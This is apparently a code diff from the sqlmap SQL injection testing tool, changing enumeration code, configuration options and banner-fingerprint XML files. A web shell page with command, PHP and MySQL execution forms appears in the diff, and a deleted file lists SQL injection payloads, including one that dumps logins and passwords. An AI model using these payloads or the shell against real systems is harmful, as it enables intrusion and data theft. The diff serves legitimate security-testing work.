||||||
warnMsg += "probably because it has no entries, going "
|
|
||||||
warnMsg += "blind to confirm"
|
|
||||||
logger.warn(warnMsg)
|
|
||||||
|
|
||||||
logMsg = "fetching number of "
|
|
||||||
if conf.col:
|
|
||||||
logMsg += "columns '%s' " % colString
|
|
||||||
logMsg += "entries for table '%s' " % conf.tbl
|
|
||||||
logMsg += "on database '%s'" % conf.db
|
|
||||||
logger.info(logMsg)
|
|
||||||
|
|
||||||
if kb.dbms == "Oracle":
|
if kb.dbms == "Oracle":
|
||||||
query = rootQuery["blind"]["count"] % conf.tbl.upper()
|
query = rootQuery["blind"]["count"] % conf.tbl.upper()
|
||||||
@@ -1012,14 +1038,8 @@ class Enumeration:
|
|||||||
|
|
||||||
|
|
||||||
def sqlQuery(self, query):
|
def sqlQuery(self, query):
|
||||||
logMsg = "fetching SQL SELECT query output: '%s'" % query
|
infoMsg = "fetching SQL SELECT query output: '%s'" % query
|
||||||
logger.info(logMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
if query.startswith("select "):
|
|
||||||
query = query.replace("select ", "SELECT ", 1)
|
|
||||||
|
|
||||||
if " from " in query:
|
|
||||||
query = query.replace(" from ", " FROM ")
|
|
||||||
|
|
||||||
output = inject.getValue(query, fromUser=True)
|
output = inject.getValue(query, fromUser=True)
|
||||||
|
|
||||||
@@ -1030,9 +1050,9 @@ class Enumeration:
|
|||||||
|
|
||||||
|
|
||||||
def sqlShell(self):
|
def sqlShell(self):
|
||||||
logMsg = "calling %s shell. To quit type " % kb.dbms
|
infoMsg = "calling %s shell. To quit type " % kb.dbms
|
||||||
logMsg += "'x' or 'q' and press ENTER"
|
infoMsg += "'x' or 'q' and press ENTER"
|
||||||
logger.info(logMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
autoCompletion(sqlShell=True)
|
autoCompletion(sqlShell=True)
|
||||||
|
|
||||||
|
|||||||
@@ -69,10 +69,7 @@ if (!isset($_REQUEST["download"]) and !isset($_REQUEST["phpinfo"])) {
|
|||||||
echo "<form action=\"" . $phpself . "\" method=\"GET\"><b>Execute a shell command</b><br><input type=\"text\" name=\"cmd\" value=\"ps auxfww\"><input type=\"submit\" value=\"go\"></form><br>";
|
echo "<form action=\"" . $phpself . "\" method=\"GET\"><b>Execute a shell command</b><br><input type=\"text\" name=\"cmd\" value=\"ps auxfww\"><input type=\"submit\" value=\"go\"></form><br>";
|
||||||
echo "<form action=\"" . $phpself . "\" method=\"GET\"><b>Execute a PHP command</b><br><input type=\"text\" name=\"phpcode\" value=\"ini_get_all()\"><input type=\"submit\" value=\"go\"></form><br>";
|
echo "<form action=\"" . $phpself . "\" method=\"GET\"><b>Execute a PHP command</b><br><input type=\"text\" name=\"phpcode\" value=\"ini_get_all()\"><input type=\"submit\" value=\"go\"></form><br>";
|
||||||
echo "<form action=\"" . $phpself . "\" method=\"GET\"><b>Execute a MySQL query</b><br>host: <input type=\"text\" name=\"host\" value=\"localhost\"><br>user: <input type=\"text\" name=\"user\" value=\"root\"><br>password: <input type=\"password\" name=\"password\"><br>query: <input type=\"text\" name=\"query\"><br><input type=\"submit\" value=\"execute\"></form><br>";
|
echo "<form action=\"" . $phpself . "\" method=\"GET\"><b>Execute a MySQL query</b><br>host: <input type=\"text\" name=\"host\" value=\"localhost\"><br>user: <input type=\"text\" name=\"user\" value=\"root\"><br>password: <input type=\"password\" name=\"password\"><br>query: <input type=\"text\" name=\"query\"><br><input type=\"submit\" value=\"execute\"></form><br>";
|
||||||
echo "<div style=\"text-align: center\">";
|
echo "</div><div id=\"rightbody\">";
|
||||||
echo "<a href=\"http://validator.w3.org/check/referer\"><img src=\"http://www.w3.org/Icons/valid-html401\" border=\"0\" alt=\"Valid HTML 4.01!\"></a>";
|
|
||||||
echo "<a href=\"http://jigsaw.w3.org/css-validator/validator?text=" . $cssEncoded . "\"><img src=\"http://jigsaw.w3.org/css-validator/images/vcss\" border=\"0\" alt=\"Valid CSS!\"></a>";
|
|
||||||
echo "</div></div><div id=\"rightbody\">";
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if (isset($_REQUEST["sysinfo"])) {
|
if (isset($_REQUEST["sysinfo"])) {
|
||||||
|
|||||||
127
sqlmap.conf
127
sqlmap.conf
@@ -1,9 +1,16 @@
|
|||||||
[Request]
|
[Target]
|
||||||
|
|
||||||
# Target URL.
|
# Target URL.
|
||||||
# Example: http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2
|
# Example: http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2
|
||||||
|
# PHP and MySQL (local)
|
||||||
url =
|
url =
|
||||||
|
|
||||||
|
# Parse targets from Burp or WebScarab logs
|
||||||
|
# Valid: Burp proxy (http://portswigger.net/suite/) requests log file path
|
||||||
|
# or WebScarab proxy (http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project)
|
||||||
|
# 'conversations/' folder path
|
||||||
|
list =
|
||||||
|
|
||||||
# Rather than providing a target url, let Google return target
|
# Rather than providing a target url, let Google return target
|
||||||
# hosts as result of your Google dork expression. For a list of Google
|
# hosts as result of your Google dork expression. For a list of Google
|
||||||
# dorks see Johnny Long Google Hacking Database at
|
# dorks see Johnny Long Google Hacking Database at
|
||||||
@@ -11,9 +18,8 @@ url =
|
|||||||
# Example: +ext:php +inurl:"&id=" +intext:"powered by "
|
# Example: +ext:php +inurl:"&id=" +intext:"powered by "
|
||||||
googleDork =
|
googleDork =
|
||||||
|
|
||||||
# Testable parameter(s) comma separated. By default all GET/POST/Cookie
|
|
||||||
# parameters and HTTP User-Agent are tested by sqlmap.
|
[Request]
|
||||||
testParameter =
|
|
||||||
|
|
||||||
# HTTP method to perform HTTP requests.
|
# HTTP method to perform HTTP requests.
|
||||||
# Valid: GET or POST
|
# Valid: GET or POST
|
||||||
@@ -34,12 +40,18 @@ referer =
|
|||||||
# HTTP User-Agent header. Useful to fake the HTTP User-Agent header value
|
# HTTP User-Agent header. Useful to fake the HTTP User-Agent header value
|
||||||
# at each HTTP request
|
# at each HTTP request
|
||||||
# sqlmap will also test for SQL injection on the HTTP User-Agent value.
|
# sqlmap will also test for SQL injection on the HTTP User-Agent value.
|
||||||
agent = sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
|
agent =
|
||||||
|
|
||||||
# Load a random HTTP User-Agent header from file
|
# Load a random HTTP User-Agent header from file
|
||||||
# Example: txt/user-agents.txt
|
# Example: ./txt/user-agents.txt
|
||||||
userAgentsFile =
|
userAgentsFile =
|
||||||
|
|
||||||
|
# Extra HTTP headers
|
||||||
|
# Note: there must be a space at the beginning of each header line
|
||||||
|
headers = Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
|
||||||
|
Accept-Language: en-us,en;q=0.5
|
||||||
|
Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
|
||||||
|
|
||||||
# HTTP Authentication type. Useful only if the target url requires
|
# HTTP Authentication type. Useful only if the target url requires
|
||||||
# HTTP Basic or Digest authentication and you have such data.
|
# HTTP Basic or Digest authentication and you have such data.
|
||||||
# Valid: Basic or Digest
|
# Valid: Basic or Digest
|
||||||
@@ -56,25 +68,85 @@ proxy =
|
|||||||
|
|
||||||
# Maximum number of concurrent HTTP requests (handled with Python threads)
|
# Maximum number of concurrent HTTP requests (handled with Python threads)
|
||||||
# to be used in the inference SQL injection attack.
|
# to be used in the inference SQL injection attack.
|
||||||
|
# Valid: integer
|
||||||
# Default: 1
|
# Default: 1
|
||||||
threads = 1
|
threads = 1
|
||||||
|
|
||||||
|
# Delay in seconds between each HTTP request.
|
||||||
|
# Valid: float
|
||||||
|
# Default: 0
|
||||||
|
delay = 0
|
||||||
|
|
||||||
|
# Seconds to wait before timeout connection.
|
||||||
|
# Valid: float
|
||||||
|
# Default: 10
|
||||||
|
timeout = 10
|
||||||
|
|
||||||
|
|
||||||
[Injection]
|
[Injection]
|
||||||
|
|
||||||
# String to match in page when the query is valid, only needed if the
|
# Testable parameter(s) comma separated. By default all GET/POST/Cookie
|
||||||
# page content dynamically changes at each refresh, consequently changing
|
# parameters and HTTP User-Agent are tested by sqlmap.
|
||||||
# the MD5 of the page which is the method used by default to determine
|
testParameter =
|
||||||
# if a query was valid or not. Read the documentation for further
|
|
||||||
# details.
|
|
||||||
string =
|
|
||||||
|
|
||||||
# Force back-end DBMS to this value. If this option is set, the back-end
|
# Force back-end DBMS to this value. If this option is set, the back-end
|
||||||
# DBMS identification process will be minimized as needed.
|
# DBMS identification process will be minimized as needed.
|
||||||
# If not set, sqlmap will detect back-end DBMS automatically by default.
|
# If not set, sqlmap will detect back-end DBMS automatically by default.
|
||||||
# Valid: mssql, mysql, oracle, pgsql
|
# Valid: mssql, mysql, mysql 4, mysql 5, oracle, pgsql
|
||||||
dbms =
|
dbms =
|
||||||
|
|
||||||
|
# Injection payload prefix string
|
||||||
|
prefix =
|
||||||
|
|
||||||
|
# Injection payload postfix string
|
||||||
|
postfix =
|
||||||
|
|
||||||
|
# String to match within the page content when the query is valid, only
|
||||||
|
# needed if the page content dynamically changes at each refresh,
|
||||||
|
# consequently changing the MD5 hash of the page which is the method used
|
||||||
|
# by default to determine if a query was valid or not. Refer to the user's
|
||||||
|
# manual for further details.
|
||||||
|
string =
|
||||||
|
|
||||||
|
# Regular expression to match within the page content when the query is
|
||||||
|
# valid, only needed if the needed if the page content dynamically changes
|
||||||
|
# at each refresh, consequently changing the MD5 hash of the page which is
|
||||||
|
# the method used by default to determine if a query was valid or not.
|
||||||
|
# Refer to the user's manual for further details.
|
||||||
|
# Valid: regular expression with Python syntax
|
||||||
|
# (http://www.python.org/doc/2.5.2/lib/re-syntax.html)
|
||||||
|
regexp =
|
||||||
|
|
||||||
|
# String to be excluded by the page content before calculating the page
|
||||||
|
# MD5 hash
|
||||||
|
eString =
|
||||||
|
|
||||||
|
# Regular expression matches to be excluded by the page content before
|
||||||
|
# calculating the page MD5 hash
|
||||||
|
# Valid: regular expression with Python syntax
|
||||||
|
# (http://www.python.org/doc/2.5.2/lib/re-syntax.html)
|
||||||
|
eRegexp =
|
||||||
|
|
||||||
|
|
||||||
|
[Techniques]
|
||||||
|
|
||||||
|
# Test for stacked queries (multiple statements) support.
|
||||||
|
# Valid: True or False
|
||||||
|
stackedTest = False
|
||||||
|
|
||||||
|
# Test for Time based blind SQL injection.
|
||||||
|
# Valid: True or False
|
||||||
|
timeTest = False
|
||||||
|
|
||||||
|
# Test for UNION query (inband) SQL injection.
|
||||||
|
# Valid: True or False
|
||||||
|
unionTest = False
|
||||||
|
|
||||||
|
# Use the UNION query (inband) SQL injection to retrieve the queries
|
||||||
|
# output. No need to go blind.
|
||||||
|
# Valid: True or False
|
||||||
|
unionUse = False
|
||||||
|
|
||||||
|
|
||||||
[Fingerprint]
|
[Fingerprint]
|
||||||
|
|
||||||
@@ -98,6 +170,10 @@ getCurrentUser = False
|
|||||||
# Valid: True or False
|
# Valid: True or False
|
||||||
getCurrentDb = False
|
getCurrentDb = False
|
||||||
|
|
||||||
|
# Detect if the DBMS current user is DBA.
|
||||||
|
# Valid: True or False
|
||||||
|
isDba = False
|
||||||
|
|
||||||
# Enumerate back-end database management system users.
|
# Enumerate back-end database management system users.
|
||||||
# Valid: True or False
|
# Valid: True or False
|
||||||
getUsers = False
|
getUsers = False
|
||||||
@@ -151,12 +227,12 @@ user =
|
|||||||
excludeSysDbs = False
|
excludeSysDbs = False
|
||||||
|
|
||||||
# First table entry to dump (cursor start)
|
# First table entry to dump (cursor start)
|
||||||
# Valid: number
|
# Valid: integer
|
||||||
# Default: 0 (sqlmap will start to dump the table entries from the first)
|
# Default: 0 (sqlmap will start to dump the table entries from the first)
|
||||||
limitStart = 0
|
limitStart = 0
|
||||||
|
|
||||||
# Last table entry to dump (cursor stop)
|
# Last table entry to dump (cursor stop)
|
||||||
# Valid: number
|
# Valid: integer
|
||||||
# Default: 0 (sqlmap will detect the number of table entries and dump
|
# Default: 0 (sqlmap will detect the number of table entries and dump
|
||||||
# until the last)
|
# until the last)
|
||||||
limitStop = 0
|
limitStop = 0
|
||||||
@@ -173,7 +249,7 @@ sqlShell = False
|
|||||||
[File system]
|
[File system]
|
||||||
|
|
||||||
# Read a specific OS file content (only on MySQL).
|
# Read a specific OS file content (only on MySQL).
|
||||||
# Examples: '/etc/passwd' or 'C:\boot.ini'
|
# Examples: /etc/passwd or C:\boot.ini
|
||||||
rFile =
|
rFile =
|
||||||
|
|
||||||
# Write to a specific OS file (not yet available).
|
# Write to a specific OS file (not yet available).
|
||||||
@@ -191,30 +267,21 @@ osShell = False
|
|||||||
|
|
||||||
[Miscellaneous]
|
[Miscellaneous]
|
||||||
|
|
||||||
# Test for UNION SELECT (inband) SQL injection.
|
|
||||||
# Valid: True or False
|
|
||||||
unionTest = False
|
|
||||||
|
|
||||||
# Use the UNION SELECT (inband) SQL injection to retrieve the queries
|
|
||||||
# output. No need to go blind.
|
|
||||||
# Valid: True or False
|
|
||||||
unionUse = False
|
|
||||||
|
|
||||||
# Retrieve each query output length and calculate the estimated time of
|
# Retrieve each query output length and calculate the estimated time of
|
||||||
# arrival in real time.
|
# arrival in real time.
|
||||||
# Valid: True or False
|
# Valid: True or False
|
||||||
eta = False
|
eta = False
|
||||||
|
|
||||||
# Verbosity level.
|
# Verbosity level.
|
||||||
# Valid values:
|
# Valid: integer between 0 and 5
|
||||||
# 0: Silent
|
# 0: Show only warning and error messages
|
||||||
# 1: Show info messages
|
# 1: Show also info messages
|
||||||
# 2: Show also debug messages
|
# 2: Show also debug messages
|
||||||
# 3: Show also HTTP requests
|
# 3: Show also HTTP requests
|
||||||
# 4: Show also HTTP responses headers
|
# 4: Show also HTTP responses headers
|
||||||
# 5: Show also HTTP responses page content
|
# 5: Show also HTTP responses page content
|
||||||
# Default: 0
|
# Default: 1
|
||||||
verbose = 0
|
verbose = 1
|
||||||
|
|
||||||
# Update sqlmap to the latest stable version.
|
# Update sqlmap to the latest stable version.
|
||||||
# Valid: True or False
|
# Valid: True or False
|
||||||
|
|||||||
@@ -29,6 +29,13 @@ import sys
|
|||||||
import time
|
import time
|
||||||
import traceback
|
import traceback
|
||||||
|
|
||||||
|
try:
|
||||||
|
import psyco
|
||||||
|
psyco.full()
|
||||||
|
psyco.profile()
|
||||||
|
except ImportError, _:
|
||||||
|
pass
|
||||||
|
|
||||||
from lib.controller.controller import start
|
from lib.controller.controller import start
|
||||||
from lib.core.common import banner
|
from lib.core.common import banner
|
||||||
from lib.core.common import setPaths
|
from lib.core.common import setPaths
|
||||||
|
|||||||
@@ -1,51 +0,0 @@
|
|||||||
'||(elt(-3+5,bin(15),ord(10),hex(char(45))))
|
|
||||||
||6
|
|
||||||
'||'6
|
|
||||||
(||6)
|
|
||||||
' OR 1=1--
|
|
||||||
OR 1=1
|
|
||||||
' OR '1'='1
|
|
||||||
; OR '1'='1'
|
|
||||||
%22+or+isnull%281%2F0%29+%2F*
|
|
||||||
%27+OR+%277659%27%3D%277659
|
|
||||||
%22+or+isnull%281%2F0%29+%2F*
|
|
||||||
%27+--+
|
|
||||||
' or 1=1--
|
|
||||||
" or 1=1--
|
|
||||||
' or 1=1 /*
|
|
||||||
or 1=1--
|
|
||||||
' or 'a'='a
|
|
||||||
" or "a"="a
|
|
||||||
') or ('a'='a
|
|
||||||
Admin' OR '
|
|
||||||
'%20SELECT%20*%20FROM%20INFORMATION_SCHEMA.TABLES--
|
|
||||||
) UNION SELECT%20*%20FROM%20INFORMATION_SCHEMA.TABLES;
|
|
||||||
' having 1=1--
|
|
||||||
' having 1=1--
|
|
||||||
' group by userid having 1=1--
|
|
||||||
' SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = tablename')--
|
|
||||||
' or 1 in (select @@version)--
|
|
||||||
' union all select @@version--
|
|
||||||
' OR 'unusual' = 'unusual'
|
|
||||||
' OR 'something' = 'some'+'thing'
|
|
||||||
' OR 'text' = N'text'
|
|
||||||
' OR 'something' like 'some%'
|
|
||||||
' OR 2 > 1
|
|
||||||
' OR 'text' > 't'
|
|
||||||
' OR 'whatever' in ('whatever')
|
|
||||||
' OR 2 BETWEEN 1 and 3
|
|
||||||
' or username like char(37);
|
|
||||||
' union select * from users where login = char(114,111,111,116);
|
|
||||||
' union select
|
|
||||||
Password:*/=1--
|
|
||||||
UNI/**/ON SEL/**/ECT
|
|
||||||
'; EXECUTE IMMEDIATE 'SEL' || 'ECT US' || 'ER'
|
|
||||||
'; EXEC ('SEL' + 'ECT US' + 'ER')
|
|
||||||
'/**/OR/**/1/**/=/**/1
|
|
||||||
' or 1/*
|
|
||||||
+or+isnull%281%2F0%29+%2F*
|
|
||||||
%27+OR+%277659%27%3D%277659
|
|
||||||
%22+or+isnull%281%2F0%29+%2F*
|
|
||||||
%27+--+&password=
|
|
||||||
'; begin declare @var varchar(8000) set @var=':' select @var=@var+'+login+'/'+password+' ' from users where login >
|
|
||||||
@var select @var as var into temp end --
|
|
||||||
33
xml/banner/cookie.xml
Normal file
33
xml/banner/cookie.xml
Normal file
@@ -0,0 +1,33 @@
|
|||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
|
||||||
|
<!--
|
||||||
|
References:
|
||||||
|
* http://www.http-stats.com/Set-Cookie2
|
||||||
|
* http://www.owasp.org/index.php/Category:OWASP_Cookies_Database
|
||||||
|
-->
|
||||||
|
|
||||||
|
<root>
|
||||||
|
<regexp value="ASPSESSIONID">
|
||||||
|
<info technology="ASP" type="Windows" distrib="2000"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="ASP\.NET_SessionId">
|
||||||
|
<info technology="ASP.NET" type="Windows" distrib="2003|2008"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="JSESSIONID">
|
||||||
|
<info technology="JSP"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="PHPSESSION">
|
||||||
|
<info technology="PHP"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache">
|
||||||
|
<info technology="Apache"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="JServSessionId">
|
||||||
|
<info technology="Apache|JSP"/>
|
||||||
|
</regexp>
|
||||||
|
</root>
|
||||||
127
xml/banner/generic.xml
Normal file
127
xml/banner/generic.xml
Normal file
@@ -0,0 +1,127 @@
|
|||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
|
||||||
|
<root>
|
||||||
|
<!-- Windows -->
|
||||||
|
|
||||||
|
<regexp value="(Microsoft|Windows|Win32)">
|
||||||
|
<info type="Windows"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Service Pack (\d)">
|
||||||
|
<info sp="1"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Microsoft.*7\.0">
|
||||||
|
<info type="Windows" distrib="Vista"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Microsoft.*6\.0">
|
||||||
|
<info type="Windows" distrib="2003"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Microsoft.*5\.2">
|
||||||
|
<info type="Windows" distrib="2003"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Microsoft.*5\.1">
|
||||||
|
<info type="Windows" distrib="XP"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Microsoft.*5\.0">
|
||||||
|
<info type="Windows" distrib="2000"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Microsoft.*4\.0">
|
||||||
|
<info type="Windows" distrib="NT 4.0"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Microsoft.*3\.0">
|
||||||
|
<info type="Windows" distrib="NT 4.0"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Microsoft.*2\.0">
|
||||||
|
<info type="Windows" distrib="NT 4.0"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<!-- Linux -->
|
||||||
|
|
||||||
|
<regexp value="Linux">
|
||||||
|
<info type="Linux"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="CentOS">
|
||||||
|
<info type="Linux" distrib="CentOS"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Cobalt">
|
||||||
|
<info type="Linux" distrib="Cobalt"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Conectiva">
|
||||||
|
<info type="Linux" distrib="Conectiva"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Debian">
|
||||||
|
<info type="Linux" distrib="Debian|Ubuntu"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Fedora">
|
||||||
|
<info type="Linux" distrib="Fedora"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Gentoo">
|
||||||
|
<info type="Linux" distrib="Gentoo"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Knoppix">
|
||||||
|
<info type="Linux" distrib="Knoppix"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Mandrake">
|
||||||
|
<info type="Linux" distrib="Mandrake"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Mandriva">
|
||||||
|
<info type="Linux" distrib="Mandriva"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Red[\-\_\ ]*Hat">
|
||||||
|
<info type="Linux" distrib="Red Hat"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Slackware">
|
||||||
|
<info type="Linux" distrib="Slackware"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="SuSE">
|
||||||
|
<info type="Linux" distrib="SuSE"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Ubuntu">
|
||||||
|
<info type="Linux" distrib="Ubuntu"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<!-- Unices -->
|
||||||
|
|
||||||
|
<regexp value="FreeBSD">
|
||||||
|
<info type="FreeBSD"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="NetBSD">
|
||||||
|
<info type="NetBSD"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="OpenBSD">
|
||||||
|
<info type="OpenBSD"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<!-- Mac OSX -->
|
||||||
|
|
||||||
|
<regexp value="Mac[\-\_\ ]*OSX">
|
||||||
|
<info type="Mac OSX"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Darwin">
|
||||||
|
<info type="Mac OSX"/>
|
||||||
|
</regexp>
|
||||||
|
</root>
|
||||||
42
xml/banner/mysql.xml
Normal file
42
xml/banner/mysql.xml
Normal file
@@ -0,0 +1,42 @@
|
|||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
|
||||||
|
<root>
|
||||||
|
<regexp value="^([\d\.\-]+)[\-\_\ ].*">
|
||||||
|
<info dbms_version="1"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<!-- Windows -->
|
||||||
|
<regexp value="^([\d\.\-]+)[\-\_\ ].*nt$">
|
||||||
|
<info dbms_version="1" type="Windows"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<!-- Debian -->
|
||||||
|
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+potato">
|
||||||
|
<info dbms_version="1" type="Linux" distrib="Debian" release="2.1" codename="potato"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+woody">
|
||||||
|
<info dbms_version="1" type="Linux" distrib="Debian" release="3.0" codename="woody"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+sarge">
|
||||||
|
<info dbms_version="1" type="Linux" distrib="Debian" release="3.1" codename="sarge"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+etch">
|
||||||
|
<info dbms_version="1" type="Linux" distrib="Debian" release="4.0" codename="etch"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+(sid|unstable)">
|
||||||
|
<info dbms_version="1" type="Linux" distrib="Debian" codename="unstable"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+testing">
|
||||||
|
<info dbms_version="1" type="Linux" distrib="Debian" codename="testing"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<!-- Ubuntu -->
|
||||||
|
<regexp value="^(5\.0\.67)-0ubuntu6">
|
||||||
|
<info dbms_version="1" type="Linux" distrib="Ubuntu" release="8.10" codename="Intrepid Ibex"/>
|
||||||
|
</regexp>
|
||||||
|
</root>
|
||||||
7
xml/banner/oracle.xml
Normal file
7
xml/banner/oracle.xml
Normal file
@@ -0,0 +1,7 @@
|
|||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
|
||||||
|
<root>
|
||||||
|
<regexp value="^Oracle\s+.*Release\s+([\d\.]+)\s+">
|
||||||
|
<info dbms_version="1"/>
|
||||||
|
</regexp>
|
||||||
|
</root>
|
||||||
16
xml/banner/postgresql.xml
Normal file
16
xml/banner/postgresql.xml
Normal file
@@ -0,0 +1,16 @@
|
|||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
|
||||||
|
<root>
|
||||||
|
<regexp value="PostgreSQL\s+([\w\.]+)">
|
||||||
|
<info dbms_version="1"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<!-- Ubuntu -->
|
||||||
|
<regexp value="PostgreSQL\s+(8\.2\.7)\s+on\s+.*?\s+\(Ubuntu 4\.2\.3-2ubuntu4\)">
|
||||||
|
<info dbms_version="1" type="Linux" distrib="Ubuntu" release="8.04" codename="Hardy Heron"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="PostgreSQL\s+(8\.3\.5)\s+on\s+.*?\s+\(Ubuntu 4\.3\.2-1ubuntu11\)">
|
||||||
|
<info dbms_version="1" type="Linux" distrib="Ubuntu" release="8.10" codename="Intrepid Ibex"/>
|
||||||
|
</regexp>
|
||||||
|
</root>
|
||||||
406
xml/banner/server.xml
Normal file
406
xml/banner/server.xml
Normal file
@@ -0,0 +1,406 @@
|
|||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
|
||||||
|
<!--
|
||||||
|
References:
|
||||||
|
* http://www.http-stats.com/Server
|
||||||
|
* http://en.wikipedia.org
|
||||||
|
-->
|
||||||
|
|
||||||
|
<root>
|
||||||
|
<!-- Microsoft IIS -->
|
||||||
|
|
||||||
|
<regexp value="Microsoft-IIS/(7\.0)">
|
||||||
|
<info technology="Microsoft IIS" tech_version="1"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Microsoft-IIS/(6\.0)">
|
||||||
|
<info technology="Microsoft IIS" tech_version="1"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Microsoft-IIS/(5\.1)">
|
||||||
|
<info technology="Microsoft IIS" tech_version="1"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Microsoft-IIS/(5\.0)">
|
||||||
|
<info technology="Microsoft IIS" tech_version="1"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Microsoft-IIS/(4\.0)">
|
||||||
|
<info technology="Microsoft IIS" tech_version="1"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Microsoft-IIS/(3\.0)">
|
||||||
|
<info technology="Microsoft IIS" tech_version="1"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Microsoft-IIS/(2\.0)">
|
||||||
|
<info technology="Microsoft IIS" tech_version="1"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<!-- Apache -->
|
||||||
|
|
||||||
|
<regexp value="Apache$">
|
||||||
|
<info technology="Apache"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/([\w\.]+)">
|
||||||
|
<info technology="Apache" tech_version="1"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache[\-\_\ ]AdvancedExtranetServer/([\w\.]+)">
|
||||||
|
<info technology="Apache" tech_version="1"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<!-- Apache: CentOS -->
|
||||||
|
<!-- TODO: add Centos 4.6, 4.7, 5.1 and 5.2 -->
|
||||||
|
|
||||||
|
<regexp value="Apache/2\.0\.46 \(CentOS\)">
|
||||||
|
<info type="Linux" distrib="CentOS" release="3.7"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/2\.0\.52 \(CentOS\)">
|
||||||
|
<info type="Linux" distrib="CentOS" release="4.3|4.4"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/2\.0\.46 \(CentOS\)">
|
||||||
|
<info type="Linux" distrib="CentOS" release="5"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<!-- Apache: Debian -->
|
||||||
|
<!-- TODO: add Debian testing, unstable and experimental -->
|
||||||
|
|
||||||
|
<regexp value="Apache/1\.0\.5 \(Unix\) Debian/GNU">
|
||||||
|
